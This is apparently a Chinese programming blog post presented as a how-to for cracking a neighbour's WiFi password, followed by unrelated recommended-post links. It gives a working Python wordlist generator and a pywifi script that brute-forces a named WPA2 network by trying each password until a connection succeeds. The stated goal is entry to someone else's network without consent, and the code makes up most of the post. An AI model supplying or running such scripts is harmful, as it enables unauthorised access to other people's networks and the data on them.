利用Python破解隔壁家的WiFi密码

文章目录

1,破解思路

1.1,假定邻居家的WiFi密码长度是8位,且仅由0-9这10个数字,a-z这26个小写字母,A-Z这26个大写字母组成

1.2, 用python程序对0-9,a-z,A-Z这62个元素进行排列组合。

高中数学都学过排列组合吧?

从0-9,a-z,A-Z这62个元素中每次挑8个元素出来,但同一元素可以重复取出,排成一列,请问有多少种组合方式?

答案是62的8次方个,也就是218,340,105,584,896个,大概是218万亿个。

1.3,将这218万亿个组合依次按行写入到密码本.txt中

1.4,编写python 的WiFi密码配对程序,从密码本.txt依次读取,尝试和隔壁邻居WiFi进行验证连接,直至成功

同样的道理,如果邻居WiFi密码长度是9位,且还多了特殊符号~!@#¥这些,那么构建密码本的时候也要考虑进去。

1.5,密码本的大小

通常情况下,一个字母占用 1 字节,一共大概有218万亿个长度为8的字符串被写进 密码本.txt中去,那么这个密码本.txt大概有1744万亿字节,相当于1578143.95TB!!

宝子们,先看看你的电脑空间有没有1T。

2,生成密码本的python程序(版本是Python 3.8.10)

bash 复制代码
import time
start_time = time.time()
import string
import itertools
nums = 0
all_characters = string.ascii_letters + string.digits
dic =open(r"D:\\codes\\pwd.txt",'a')
for combination in itertools.product(all_characters, repeat=8):
    nums  = nums +1
    dic.write(''.join(combination))
    dic.write(''.join('\n'))
    print (nums)
    if nums == 20:
        break
dic.close()
end_time = time.time()    
execution_time = end_time - start_time
print("程序运行时间:", execution_time, "秒")

3,wifi连接程序

bash 复制代码
# coding:utf-8
import pywifi
from pywifi import const
import time
import datetime

#测试连接,返回链接结果
def wifiConnect(pwd):
    #抓取网卡接口
    wifi=pywifi.PyWiFi()
    #获取第一个无线网卡
    ifaces=wifi.interfaces()[0]
    #断开所有连接
    ifaces.disconnect()
    time.sleep(1)
    wifistatus=ifaces.status()
    if wifistatus ==const.IFACE_DISCONNECTED:
        #创建WiFi连接文件
        profile=pywifi.Profile()
        #要连接WiFi的名称
        profile.ssid="TP-LINK_1301"
        
        #网卡的开放状态
        profile.auth=const.AUTH_ALG_OPEN
        #wifi加密算法,一般wifi加密算法为wps
        profile.akm.append(const.AKM_TYPE_WPA2PSK)
        #加密单元
        profile.cipher=const.CIPHER_TYPE_CCMP
        #调用密码
        profile.key=pwd
        #删除所有连接过的wifi文件
        ifaces.remove_all_network_profiles()
        #设定新的连接文件
        tep_profile=ifaces.add_network_profile(profile)
        ifaces.connect(tep_profile)
        #wifi连接时间
        time.sleep(1)
        if ifaces.status()==const.IFACE_CONNECTED:
            return True
        else:
            return False
    else:
        print("已有wifi连接") 
 
#读取密码本
def readPassword():
    print("开始破解:")
    #密码本路径
    path="D:\\codes\\pwd.txt"
#打开文件
    file=open(path,"r")
    while True:
        try:
            #一行一行读取
            pad=file.readline()
            bool=wifiConnect(pad)
            if bool:
                print("密码已破解: ",pad)
                print("WiFi已自动连接!!!")
                break
            #else:
                #跳出当前循环,进行下一次循环
                #print("密码破解中....密码校对: ",pad)
        except:
            continue
 
start=datetime.datetime.now() 
readPassword()
end=datetime.datetime.now()

4,先运行 第2步,在D:\codes生成一份 pwd.txt 密码本文件,然后再执行第3步,等待N分钟,就可以连接成功!

  • 强烈建议大家好好看看步骤1.5,不要盲目尝试啊,哈哈
相关推荐
lang2015092815 小时前
Java EE并发工具:JSR 236详解
java·java-ee
新新学长搞科研15 小时前
【CCF主办 | 高认可度会议】第六届人工智能、大数据与算法国际学术会议(CAIBDA 2026)
大数据·开发语言·网络·人工智能·算法·r语言·中国计算机学会
多恩Stone15 小时前
【3D-AICG 系列-2】Trellis 2 的O-voxel (上) Shape: Flexible Dual Grid
人工智能·python·算法·3d·aigc
梵刹古音17 小时前
【C语言】 字符数组相关库函数
c语言·开发语言·算法
AAD555888991 天前
数字仪表LCD显示识别与读数:数字0-9、小数点及单位kwh检测识别实战
python
微风中的麦穗1 天前
【MATLAB】MATLAB R2025a 详细下载安装图文指南:下一代科学计算与工程仿真平台
开发语言·matlab·开发工具·工程仿真·matlab r2025a·matlab r2025·科学计算与工程仿真
2601_949146531 天前
C语言语音通知API示例代码:基于标准C的语音接口开发与底层调用实践
c语言·开发语言
开源技术1 天前
Python Pillow 优化,打开和保存速度最快提高14倍
开发语言·python·pillow
学嵌入式的小杨同学1 天前
从零打造 Linux 终端 MP3 播放器!用 C 语言实现音乐自由
linux·c语言·开发语言·前端·vscode·ci/cd·vim
毕设源码-朱学姐1 天前
【开题答辩全过程】以 基于JavaWeb的网上家具商城设计与实现为例,包含答辩的问题和答案
java